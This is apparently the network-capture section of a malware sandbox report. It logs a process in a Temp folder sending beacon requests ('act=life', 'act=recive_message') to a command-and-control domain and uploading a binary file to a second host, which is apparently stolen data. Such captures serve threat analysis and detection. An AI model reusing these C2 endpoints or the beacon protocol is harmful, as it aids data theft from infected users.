Dec 20, 2024 07:13:10.643630981 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49939	147.45.113.159	80

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:13:10.635730982 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 63163 Content-Type: multipart/form-data; boundary=------------------------VA5Za2DDXX12lfpnfmUyUJ Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 56 41 35 5a 61 32 44 44 58 58 31 32 6c 66 70 6e 66 6d 55 79 55 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 75 74 69 79 75 7a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a cf fe b8 d4 9b 48 54 60 81 82 cb 09 0e 6f 63 c1 c3 ea f0 df 1f e2 a7 44 2f 6c 25 93 04 48 24 7c 02 d4 50 96 9d 2b 73 2a ae 73 f5 f4 48 ea 7b b5 c4 86 57 c9 98 54 15 ec e9 ba 4e 9a 2f b1 6f 42 51 e4 1b 15 a9 65 50 87 af 3d c9 77 e9 73 03 b7 9a 7d dc bb ad 55 6f f8 4d 72 64 1e ef 37 8f 49 bf 5e d9 84 f0 6e 59 4d ff e2 90 7e c2 4b 77 33 63 72 b0 ed 94 b3 77 ea d5 79 c3 92 bf 51 b9 48 38 83 b3 82 71 cd 43 ca 63 08 99 84 08 cf 42 1c 3d 41 4d 97 09 e1 fe 92 79 ab 8f 12 89 37 69 a1 99 f7 0f 30 26 01 60 38 2c 8b e9 2f 0a c5 f1 48 6b [TRUNCATED] Data Ascii: --------------------------VA5Za2DDXX12lfpnfmUyUJContent-Disposition: form-data; name="file"; filename="Butiyuz.bin"Content-Type: application/octet-streamHT`ocD/l%H$\|P+ssH{WTN/oBQeP=ws}UoMrd7I^nYM~Kw3crwyQH8qCcB=AMy7i0&`8,/Hk9l5?'E#0{.yWx;(f\YmQPsb:6xFzPWWJxca8}QQ0_{JIKK(fz2>B^>)4uG-$csuQ+G`\%fHL>zKnhmL$G:?`WMLs5/vDsF[i1NRW7!!(PVU'Ua30_0\Au8hH7-U*T;8A%bO}g7$--dOQlJ~B:jffg/nRma qvGEj9HQh3' LDBm%w_8udLfe`qP&X-W^hN.<8eyJ]i7rxi8 P;><#O_iug3#q~&2XOj&6bc~NLJ7H/Z}Dp0KA?8Lu~UARqnuXwqfP1nhZv [TRUNCATED]
Dec 20, 2024 07:13:10.755361080 CET	4944	OUT	Data Raw: 4a a2 66 d7 6f 5c a9 ee 8b b5 a4 c6 ea c2 70 8d c6 46 3d 0f 3f 9d 8e 26 79 98 61 6e 89 48 99 ea cf b3 57 ed f3 de 18 7a 5a 15 77 cd 6e 10 8c 72 dc df df 7c 57 25 7d e1 a6 ee 22 6f 28 95 a1 c7 61 4f 6e f9 53 ba 6b 3a ab 20 b6 0d 56 14 eb 65 41 ae Data Ascii: Jfo\pF=?&yanHWzZwnr\|W%}"o(aOnSk: VeAHX<nOVx\|p!^h0\|UV2cVymT,-A}t!Y!CY@#zezUj!=*}U_Xoe5b<1P}w+]0kkl
Dec 20, 2024 07:13:10.755383015 CET	2472	OUT	Data Raw: 33 15 62 db 84 b9 a1 10 58 b2 a6 3e f7 69 24 4a 36 31 cf ee f3 28 83 11 84 99 bf 98 1f 9e 65 ec 69 67 67 63 84 10 c9 2f 91 88 8a e6 69 95 d4 92 b6 0f f3 81 44 e5 49 fb e7 6c 5c 52 4d 97 9a 67 68 9f 33 95 e2 c7 8d a3 9e cd 95 68 a4 2f 96 1e 71 9b Data Ascii: 3bX>i$J61(eiggc/iDIl\RMgh3h/qZ~;T#Cxzb:[f=M+hYBz>-;a; 3"%-+It?L5 w@@eyRmAGSKZI#+3>+y^z)~$$Squ7
Dec 20, 2024 07:13:10.755429983 CET	2472	OUT	Data Raw: bc 65 3e a4 0e 91 45 cd ef 17 7a 34 d5 c6 90 65 19 61 69 89 23 b2 64 42 2e 1d 25 67 a3 32 07 73 d1 d8 a5 b8 02 e7 f4 c2 8f b4 93 b8 a0 61 16 79 5f e1 26 2c c2 67 c2 09 01 e4 31 40 04 49 c0 c5 77 14 2f cf f1 cd a1 6e 1e 22 d3 ba ee 60 39 01 25 a0 Data Ascii: e>Ez4eai#dB.%g2say_&,g1@Iw/n"`9%99okkMN,+J~H2Ii<Z$O-)Zqgz\|@)71uOGY@CVCiQDC_moN\|t}aQa3p.kY$\|Iz#
Dec 20, 2024 07:13:10.755450964 CET	4944	OUT	Data Raw: f2 34 80 53 c5 66 92 5b 62 b2 65 07 d1 7d 35 0d 2a 1c e5 97 e3 ae 2b d5 00 e5 e1 98 5f bd 3a 2d ec a8 7a a2 43 d8 cd 3a f9 4d ad 39 be 13 94 57 0b 3f e0 75 04 0e 51 f1 a0 f1 f6 a8 d0 d4 20 04 b3 17 38 0b d2 65 da c4 f9 7e e8 57 7f d5 94 77 ae f7 Data Ascii: 4Sf[be}5+_:-zC:M9W?uQ 8e~WwJmTY2O~~Yfv~s4(U_8E\|e0PN/(:jC;T:`F/AhT0)y"Jd`Xq7BDFGqo}hzKa!o#D.*@4w
Dec 20, 2024 07:13:10.755474091 CET	2472	OUT	Data Raw: 27 35 07 81 6f 8a c6 8c d6 55 82 fa f3 ca 05 ef 9c 70 ef 39 a1 0b 5e 81 f2 bc b1 db e0 30 5b 0d e0 ad d9 38 af b3 a3 68 89 e8 a9 76 69 eb cc ec b8 77 99 91 82 86 5a c2 8b 14 49 23 96 f4 e5 68 8b 24 8d 41 2e 24 8b 07 e6 78 b2 c2 bc 9c d1 e3 45 6c Data Ascii: '5oUp9^0[8hviwZI#h$A.$xEli_ $_Sl,Q~ap1~3})of?Tb')O\|{3x!*T!p[Kim$2`K.:m"7KMY9
Dec 20, 2024 07:13:10.755605936 CET	7416	OUT	Data Raw: 57 f6 80 b6 80 b8 3e e9 63 b5 da 06 8b 56 7f 05 55 4a 29 27 43 6d 8d 2e 93 bb dc 74 b6 89 06 76 8e ed 28 11 81 46 fe bd 49 ec 2c 6a 40 44 11 b4 c3 db f0 de 0a 7e 15 c2 72 39 ff 6b 75 06 e5 84 ab 59 27 07 76 29 6d 36 d3 98 7d f8 ec 54 41 e5 69 ba Data Ascii: W>cVUJ)'Cm.tv(FI,j@D~r9kuY'v)m6}TAi!R5P D%_u#7sM9^tdi\_'T;>EG\M$%`(+:;C9u<@-\cfK-*[@d[v9GQOVn]9=Iok
Dec 20, 2024 07:13:10.875593901 CET	2472	OUT	Data Raw: dd 81 a3 67 32 60 7d fe aa c5 a9 d2 c8 a4 dc 69 2d c6 3c 1e 1c 6f 5f e1 e2 b4 63 89 15 54 fc 6e 04 c0 bc 8b 8f 61 b1 25 5a 3d 62 06 e1 3a 86 b8 49 cc af 24 a4 fb 09 de 57 fe 45 9b 45 72 cc 92 f3 06 0e ea bf 3d 7a ea e4 5d 97 be c5 69 50 d8 8a ab Data Ascii: g2`}i-<o_cTna%Z=b:I$WEEr=z]iPD: XV<A&xufYi(1:rc<TxtC$)jPD'\|I3(MIE^IOfN8=4Asjt%ubAjy{[/6@W]LaF
Dec 20, 2024 07:13:10.875642061 CET	4944	OUT	Data Raw: 4e 67 66 a0 17 2a 7a 6b 27 1f 07 c9 88 a3 13 c2 06 54 10 98 e1 ac ff ef 46 ce 3a 8e d8 a7 35 80 24 ee 81 12 9e 65 c2 25 be ed f0 6f 87 2b 8e 5b 38 07 1c ad 28 26 a0 d5 f4 01 cd e1 ab 74 21 4b d1 c0 6d 3c 19 5b e4 30 4a 37 1a 72 b0 3f cb 87 85 47 Data Ascii: Ngf*zk'TF:5$e%o+[8(&t!Km<[0J7r?G=ta+\|/5,hf)MDVUa,K0%0/kdxgbJ!.f}mDwe7+D[Y!Q%WR/i`^Fn]'GH7Pk^j+1
Dec 20, 2024 07:13:10.875709057 CET	4944	OUT	Data Raw: 66 37 04 01 3f 78 af 0c 67 ac 88 42 37 5e 84 2e 2b 08 3f 06 30 6f 51 a2 dd 1f 22 28 ea f1 64 c6 07 8a 73 1d c5 e9 a1 0b f5 94 6b d6 b8 a9 fe 77 60 25 48 4c 10 c4 99 b7 0f 61 08 c2 84 09 35 4a 2e 8d b2 c0 ba 8f 37 c5 f5 12 ff 4f 71 76 e3 3a 4e 8b Data Ascii: f7?xgB7^.+?0oQ"(dskw`%HLa5J.7Oqv:NT1qOKT;B " dvMofZvjF77+;^ G$-\ 8PW8pwuF%bQF&+9hIV%yV[sT
Dec 20, 2024 07:13:10.875725031 CET	2472	OUT	Data Raw: 01 1b 64 d6 15 f3 a2 ae 87 1c 2f a1 b8 ad 04 3e 4c d9 86 85 11 90 f6 fd 94 44 31 00 ed 37 c2 fd 9d ae 3f 6b d0 01 28 21 fb 69 a4 56 30 3e 3d d7 cc cc 42 eb 02 62 a7 dc a9 29 f4 17 4b 74 70 93 c1 b9 f9 40 07 46 58 f4 32 ba 38 a3 02 d5 e8 a0 16 80 Data Ascii: d/>LD17?k(!iV0>=Bb)Ktp@FX28-x(Gc\|5!+(FOy_5x4>FhdyB6J~D&w4H8A?T<&{ K/vH89>}\|I*y[$)+L
Dec 20, 2024 07:13:12.458568096 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 06:13:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 28 X-RateLimit-Reset: 1734676989 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49775	172.67.209.202	443	7516	C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:16 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-20 06:12:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 06:12:17 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s9vldgmcpvd69abnkdepqes52r; expires=Mon, 14 Apr 2025 23:58:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j1MbhMwH3Xn5jwi5AgBpyZvc9kN8KXjLlO7ladlOy77j0EY0dYeIbfnla3DQGs5KAy%2Fy7rulkiZlavY3A%2BLW%2F9KLcgfCuR%2BJ32RQDJwLLoGvnA0Kz%2Bn%2Bgd2u%2FGGgNedUzi64k3bw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7ad4ecca8c48-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1893&min_rtt=1883&rtt_var=726&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=910&delivery_rate=1486005&cwnd=215&unsent_bytes=0&cid=8e44181303690e00&ts=777&x=0"
2024-12-20 06:12:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 06:12:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49780	172.67.209.202	443	7516	C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:18 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-20 06:12:18 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-20 06:12:19 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p94gq178rff0i75nka7rcju7uh; expires=Mon, 14 Apr 2025 23:58:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BURaZWtf5y2A%2FBcQ9Z5GX%2B%2FIaiIARoaSMAPfKwtdNT0B46Nr8qFvCRzyFI5Ti4nH94e%2B3NYE1NB4%2FPcqCZexKJTKApHVFrxMHUCsvwuoftbPetwUq9AraHQyI3iebh5X4Xi6FDT0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7ae16ad07d1e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2099&min_rtt=1842&rtt_var=874&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=949&delivery_rate=1585233&cwnd=192&unsent_bytes=0&cid=867196306489aeca&ts=816&x=0"
2024-12-20 06:12:19 UTC	238	IN	Data Raw: 34 36 66 0d 0a 69 4f 6c 67 77 76 76 4f 54 32 58 56 75 74 56 72 4f 4d 53 30 58 46 77 56 69 70 67 53 61 68 4c 78 7a 57 78 73 6b 5a 79 56 33 76 33 7a 79 78 62 67 77 66 70 6a 52 36 62 66 39 31 46 4d 74 73 45 35 63 44 66 72 2f 44 42 51 64 4a 43 68 48 77 6d 39 76 75 4f 7a 33 37 4b 50 41 61 36 49 71 32 4e 48 73 4d 4c 33 55 57 4f 2f 6c 6a 6b 79 4e 37 43 36 64 77 42 77 6b 4b 45 4f 44 66 72 7a 35 62 4b 65 34 49 55 48 71 70 36 74 4b 77 53 35 31 37 41 4f 58 61 58 65 4d 6a 56 34 34 76 55 77 52 6a 43 55 74 30 35 57 73 39 48 77 71 70 7a 46 69 42 4f 70 32 62 4e 6a 48 76 66 66 75 30 6b 43 35 74 55 35 50 6e 6e 73 2f 48 6b 43 65 70 6d 70 44 77 6a 37 37 50 79 34 6c 65 43 4c 42 4b 75 55 70 44 38 4a 73 39 43 37 43 46 65 6c 6c Data Ascii: 46fiOlgwvvOT2XVutVrOMS0XFwVipgSahLxzWxskZyV3v3zyxbgwfpjR6bf91FMtsE5cDfr/DBQdJChHwm9vuOz37KPAa6Iq2NHsML3UWO/ljkyN7C6dwBwkKEODfrz5bKe4IUHqp6tKwS517AOXaXeMjV44vUwRjCUt05Ws9HwqpzFiBOp2bNjHvffu0kC5tU5Pnns/HkCepmpDwj77Py4leCLBKuUpD8Js9C7CFell
2024-12-20 06:12:19 UTC	904	IN	Data Raw: 6e 42 2b 63 50 43 36 4b 45 67 6a 6f 61 77 66 48 2b 62 7a 35 37 72 66 39 63 55 62 34 4a 36 67 62 56 2f 33 30 4c 73 48 58 36 58 5a 4f 54 39 33 2b 76 56 77 43 33 69 62 71 77 51 42 2f 50 48 35 74 70 6a 69 67 67 57 76 6e 71 51 72 43 4c 53 59 2b 55 6c 64 76 70 5a 6d 66 6c 66 34 2b 58 4d 63 66 59 4c 76 45 55 44 71 76 76 43 77 33 37 4c 4c 42 4b 36 59 6f 53 30 56 76 39 4f 38 44 45 69 74 33 7a 4d 7a 64 2b 58 77 66 77 74 77 6c 4b 55 45 41 66 6e 36 2b 72 47 5a 36 6f 74 43 37 74 6d 72 4e 55 66 76 6d 4a 51 4d 53 71 48 61 4b 48 78 4e 71 4f 55 2b 45 54 43 55 6f 30 35 57 73 2f 62 79 76 35 7a 68 68 41 47 6f 6b 72 34 74 46 62 48 56 73 68 74 63 6f 39 67 30 50 57 58 69 39 48 59 4c 65 5a 69 6d 43 77 6e 33 76 72 6e 38 6d 50 4c 4c 57 75 43 34 6f 53 59 4c 76 63 2b 33 53 55 58 6f Data Ascii: nB+cPC6KEgjoawfH+bz57rf9cUb4J6gbV/30LsHX6XZOT93+vVwC3ibqwQB/PH5tpjiggWvnqQrCLSY+UldvpZmflf4+XMcfYLvEUDqvvCw37LLBK6YoS0Vv9O8DEit3zMzd+XwfwtwlKUEAfn6+rGZ6otC7tmrNUfvmJQMSqHaKHxNqOU+ETCUo05Ws/byv5zhhAGokr4tFbHVshtco9g0PWXi9HYLeZimCwn3vrn8mPLLWuC4oSYLvc+3SUXo
2024-12-20 06:12:19 UTC	1369	IN	Data Raw: 34 34 61 64 0d 0a 73 4d 42 63 2b 69 75 38 4a 41 72 4f 6d 74 37 4f 51 35 59 4d 43 6f 5a 32 68 4b 51 61 36 31 4c 34 4b 56 71 72 65 4d 7a 4a 7a 35 2f 4a 34 43 33 69 42 6f 51 41 49 39 66 37 79 2f 4e 47 71 6a 42 72 67 77 65 77 4a 43 61 44 4d 76 45 74 76 70 64 67 77 4f 57 47 6f 35 54 34 52 4d 4a 53 6a 54 6c 61 7a 38 50 71 33 6b 2b 32 43 41 36 4f 5a 70 69 4d 49 76 64 43 2f 43 56 65 6e 33 54 59 34 65 75 50 31 66 77 39 34 6b 4b 4d 4c 41 2f 43 2b 75 66 79 59 38 73 74 61 34 4c 79 69 4c 68 61 6d 6d 6f 49 4b 56 4b 6a 52 4b 48 35 6f 70 75 4d 77 44 33 7a 54 39 30 34 45 39 50 6e 7a 73 5a 58 70 6a 77 61 74 6c 71 55 6b 44 71 58 53 75 77 64 49 71 39 77 37 4d 48 76 74 39 58 41 4a 63 5a 32 6c 42 55 36 39 76 76 43 6b 33 37 4c 4c 4c 61 32 4a 76 69 63 4d 70 70 71 43 43 6c 53 6f Data Ascii: 44adsMBc+iu8JArOmt7OQ5YMCoZ2hKQa61L4KVqreMzJz5/J4C3iBoQAI9f7y/NGqjBrgwewJCaDMvEtvpdgwOWGo5T4RMJSjTlaz8Pq3k+2CA6OZpiMIvdC/CVen3TY4euP1fw94kKMLA/C+ufyY8sta4LyiLhammoIKVKjRKH5opuMwD3zT904E9PnzsZXpjwatlqUkDqXSuwdIq9w7MHvt9XAJcZ2lBU69vvCk37LLLa2JvicMppqCClSo
2024-12-20 06:12:19 UTC	1369	IN	Data Raw: 6a 72 37 48 70 49 62 39 32 32 54 67 6e 2f 76 71 2f 38 6c 65 61 50 41 61 79 51 6f 43 41 47 73 39 2b 36 44 56 71 67 30 44 73 2f 66 4f 44 32 66 77 4a 38 6c 36 4d 48 43 50 2f 39 39 4c 72 66 70 4d 73 46 75 4e 6e 30 62 53 61 36 30 37 73 4a 57 62 66 52 66 6e 41 33 35 76 78 77 53 43 69 46 76 78 6b 4a 37 4c 44 75 2f 4a 6a 6d 79 31 72 67 6b 37 34 6f 43 62 50 53 73 67 31 57 72 4e 59 37 4c 48 2f 75 2f 58 77 41 64 5a 79 70 43 77 50 30 39 66 53 75 6a 65 6d 50 44 4b 7a 5a 34 6d 30 41 72 35 6a 76 53 58 2b 78 31 53 34 34 64 4b 6a 6c 50 68 45 77 6c 4b 4e 4f 56 72 50 2b 2b 62 43 55 37 59 41 4a 70 4a 32 73 49 41 79 35 31 72 34 46 55 71 72 52 4c 44 4e 79 34 50 42 35 44 58 79 65 72 42 77 4e 38 72 36 35 2f 4a 6a 79 79 31 72 67 76 70 38 61 4a 50 66 48 2b 52 41 61 6f 64 70 2b 5a Data Ascii: jr7HpIb922Tgn/vq/8leaPAayQoCAGs9+6DVqg0Ds/fOD2fwJ8l6MHCP/99LrfpMsFuNn0bSa607sJWbfRfnA35vxwSCiFvxkJ7LDu/Jjmy1rgk74oCbPSsg1WrNY7LH/u/XwAdZypCwP09fSujemPDKzZ4m0Ar5jvSX+x1S44dKjlPhEwlKNOVrP++bCU7YAJpJ2sIAy51r4FUqrRLDNy4PB5DXyerBwN8r65/Jjyy1rgvp8aJPfH+RAaodp+Z
2024-12-20 06:12:19 UTC	1369	IN	Data Raw: 2f 41 7a 43 4d 34 52 64 4f 39 50 4b 33 35 4e 2f 74 67 77 71 75 6d 71 6f 6d 43 37 76 5a 76 67 39 66 72 74 45 78 4f 58 37 76 2b 6e 59 61 64 35 36 6d 44 67 58 36 39 50 4f 39 6c 4b 72 46 51 71 65 42 37 48 56 48 68 64 2b 68 47 56 6e 6d 79 58 41 6e 4e 2b 2f 32 4d 46 41 77 6e 72 30 50 43 2b 48 36 2b 4c 65 4e 34 59 30 43 70 59 75 72 49 51 32 34 32 37 38 45 57 61 37 45 50 6a 4e 33 2b 75 68 32 41 33 37 54 34 55 34 4a 36 37 36 76 2f 4b 37 39 67 45 4b 2f 31 37 56 74 41 4c 75 59 37 30 6c 5a 72 4e 73 77 4c 48 50 75 38 58 4d 47 65 4a 61 6e 43 67 54 2b 38 66 79 32 6c 75 4b 4c 44 61 57 52 70 79 73 4a 74 74 36 37 42 42 72 6f 6c 6a 6b 6d 4e 37 43 36 56 78 4a 39 6c 62 67 66 4f 2f 54 2b 70 76 79 41 70 4a 4a 43 70 35 58 73 64 55 65 36 31 4c 30 45 58 36 4c 65 4f 54 31 32 35 50 Data Ascii: /AzCM4RdO9PK35N/tgwqumqomC7vZvg9frtExOX7v+nYad56mDgX69PO9lKrFQqeB7HVHhd+hGVnmyXAnN+/2MFAwnr0PC+H6+LeN4Y0CpYurIQ24278EWa7EPjN3+uh2A37T4U4J676v/K79gEK/17VtALuY70lZrNswLHPu8XMGeJanCgT+8fy2luKLDaWRpysJtt67BBroljkmN7C6VxJ9lbgfO/T+pvyApJJCp5XsdUe61L0EX6LeOT125P
2024-12-20 06:12:19 UTC	1369	IN	Data Raw: 30 2f 64 4f 41 50 37 34 39 72 32 58 34 6f 73 45 71 70 32 76 4a 41 53 77 30 62 45 43 57 61 7a 5a 4f 54 68 7a 36 50 46 33 42 6e 61 57 70 41 64 4f 76 62 37 77 70 4e 2b 79 79 79 53 44 69 37 34 66 43 62 54 44 39 78 59 55 76 35 59 35 4d 6a 65 77 75 6e 73 41 66 34 47 71 42 77 62 33 39 2f 65 34 6c 65 65 4d 41 71 57 55 71 53 6b 4a 73 39 2b 33 42 56 57 68 33 6a 45 36 64 2b 65 36 50 6b 68 33 69 2b 39 57 54 74 50 31 34 5a 32 52 34 5a 6c 43 76 39 65 31 62 51 43 37 6d 4f 39 4a 56 4b 2f 58 4e 6a 42 37 34 50 35 69 43 48 75 61 6f 41 38 42 38 2f 33 32 74 70 66 34 6a 51 4b 72 6b 61 73 6c 41 37 6e 4b 74 67 59 61 36 4a 59 35 4a 6a 65 77 75 6b 45 65 64 35 53 67 54 43 66 30 35 66 61 32 6e 4f 47 48 51 72 2f 58 74 57 30 41 75 35 6a 76 53 56 65 71 32 7a 6f 73 65 2b 6a 36 65 51 39 Data Ascii: 0/dOAP749r2X4osEqp2vJASw0bECWazZOThz6PF3BnaWpAdOvb7wpN+yyySDi74fCbTD9xYUv5Y5MjewunsAf4GqBwb39/e4leeMAqWUqSkJs9+3BVWh3jE6d+e6Pkh3i+9WTtP14Z2R4ZlCv9e1bQC7mO9JVK/XNjB74P5iCHuaoA8B8/32tpf4jQKrkaslA7nKtgYa6JY5JjewukEed5SgTCf05fa2nOGHQr/XtW0Au5jvSVeq2zose+j6eQ9
2024-12-20 06:12:19 UTC	1369	IN	Data Raw: 41 76 79 38 76 32 37 6b 66 69 4b 43 4b 79 59 71 79 6f 4d 70 64 4f 6c 41 6c 4b 6c 32 44 59 33 64 2b 62 36 63 51 56 77 30 2b 46 4f 43 65 75 2b 72 2f 79 36 79 5a 77 55 71 74 75 50 4f 68 47 39 33 37 73 66 55 61 66 56 4b 44 4e 6e 71 4c 51 77 47 58 65 43 37 31 59 59 34 2b 6e 77 6f 39 48 7a 79 77 57 73 32 66 52 74 44 4c 6a 57 75 67 4a 65 72 39 4d 32 50 58 4c 74 38 48 77 45 63 5a 75 6d 42 41 76 32 2b 50 32 2f 6b 65 57 4b 44 71 53 51 6f 69 52 48 2b 5a 69 77 45 52 72 2b 6c 67 67 75 63 50 44 33 59 45 70 43 6b 4c 34 66 47 2f 37 75 38 66 36 77 36 59 63 42 70 5a 36 38 62 52 6a 35 77 66 63 4f 56 75 61 4f 66 6a 35 7a 35 50 6c 33 42 6e 2b 65 6f 41 6b 46 2f 50 54 35 72 70 44 76 67 77 36 6f 6c 4c 34 6e 44 61 58 52 76 67 52 55 72 73 51 39 66 6a 6d 6f 2f 57 68 49 4b 4e 4f 64 Data Ascii: Avy8v27kfiKCKyYqyoMpdOlAlKl2DY3d+b6cQVw0+FOCeu+r/y6yZwUqtuPOhG937sfUafVKDNnqLQwGXeC71YY4+nwo9HzywWs2fRtDLjWugJer9M2PXLt8HwEcZumBAv2+P2/keWKDqSQoiRH+ZiwERr+lggucPD3YEpCkL4fG/7u8f6w6YcBpZ68bRj5wfcOVuaOfj5z5Pl3Bn+eoAkF/PT5rpDvgw6olL4nDaXRvgRUrsQ9fjmo/WhIKNOd
2024-12-20 06:12:19 UTC	1369	IN	Data Raw: 6a 36 72 4a 7a 76 6a 44 79 65 6c 36 73 35 41 4c 6e 65 74 30 6b 55 35 74 6c 2b 5a 6b 36 6f 73 6a 41 33 50 74 4f 33 54 6c 61 7a 79 2f 53 79 6b 65 32 64 45 2b 32 36 75 7a 73 4e 72 4a 71 52 44 6b 75 76 77 44 4d 73 4e 36 61 36 64 6b 67 6f 77 2b 46 4f 43 75 4b 2b 72 2b 7a 4e 73 64 35 52 39 38 6e 2b 4d 6b 6d 75 6d 4b 46 4a 41 76 53 59 66 69 77 33 73 4c 6f 33 43 32 4b 42 71 51 30 59 38 4c 6e 4a 67 72 2f 68 6e 51 4f 74 6b 71 41 54 4f 61 4c 62 75 51 64 64 73 4d 64 2b 63 44 66 6e 75 69 67 78 4d 4e 76 76 4d 55 43 7a 35 72 66 6b 33 39 2b 49 44 4b 36 65 75 6a 78 4b 6c 39 4f 68 43 46 65 74 32 6e 77 2f 65 76 6a 39 4d 45 59 77 6c 65 39 57 58 72 32 2b 38 36 33 66 73 74 74 51 2b 38 7a 2f 65 6c 66 6c 78 2f 6b 51 47 72 43 57 5a 6d 77 35 71 4f 67 77 55 44 44 55 72 42 77 63 39 Data Ascii: j6rJzvjDyel6s5ALnet0kU5tl+Zk6osjA3PtO3Tlazy/Syke2dE+26uzsNrJqRDkuvwDMsN6a6dkgow+FOCuK+r+zNsd5R98n+MkmumKFJAvSYfiw3sLo3C2KBqQ0Y8LnJgr/hnQOtkqATOaLbuQddsMd+cDfnuigxMNvvMUCz5rfk39+IDK6eujxKl9OhCFet2nw/evj9MEYwle9WXr2+863fsttQ+8z/elflx/kQGrCWZmw5qOgwUDDUrBwc9
2024-12-20 06:12:19 UTC	1369	IN	Data Raw: 66 34 63 74 4d 34 4a 2f 73 64 56 58 35 6d 4c 4d 59 47 76 36 47 62 47 55 69 75 36 30 67 57 6d 2f 64 74 6b 34 59 73 36 61 6c 38 74 2f 34 79 31 72 67 33 71 38 2f 46 62 48 62 6f 51 6f 64 6d 4f 67 59 50 58 44 75 2b 58 34 66 59 64 47 41 44 51 58 2f 38 76 43 71 6f 64 53 65 41 61 36 58 71 7a 73 57 39 35 62 33 42 68 72 2b 37 33 34 76 66 65 2b 32 4f 45 52 68 67 4b 45 46 47 50 53 2b 79 50 4c 66 38 73 74 61 34 4b 79 76 49 77 6d 77 7a 71 5a 45 66 4b 58 52 4f 44 31 35 2f 2b 73 77 52 6a 43 56 37 31 5a 63 76 62 37 7a 72 64 2b 79 32 31 44 37 7a 50 39 36 56 2b 58 48 2b 52 41 61 73 4a 5a 6d 62 54 6d 6f 36 44 42 51 4d 4e 53 68 41 77 2f 77 38 50 53 75 6a 65 79 49 46 4b 50 65 6b 68 4d 69 75 74 57 79 42 31 32 59 36 42 38 30 5a 2b 58 31 64 7a 5a 4f 70 4c 34 4a 48 72 48 59 39 4b Data Ascii: 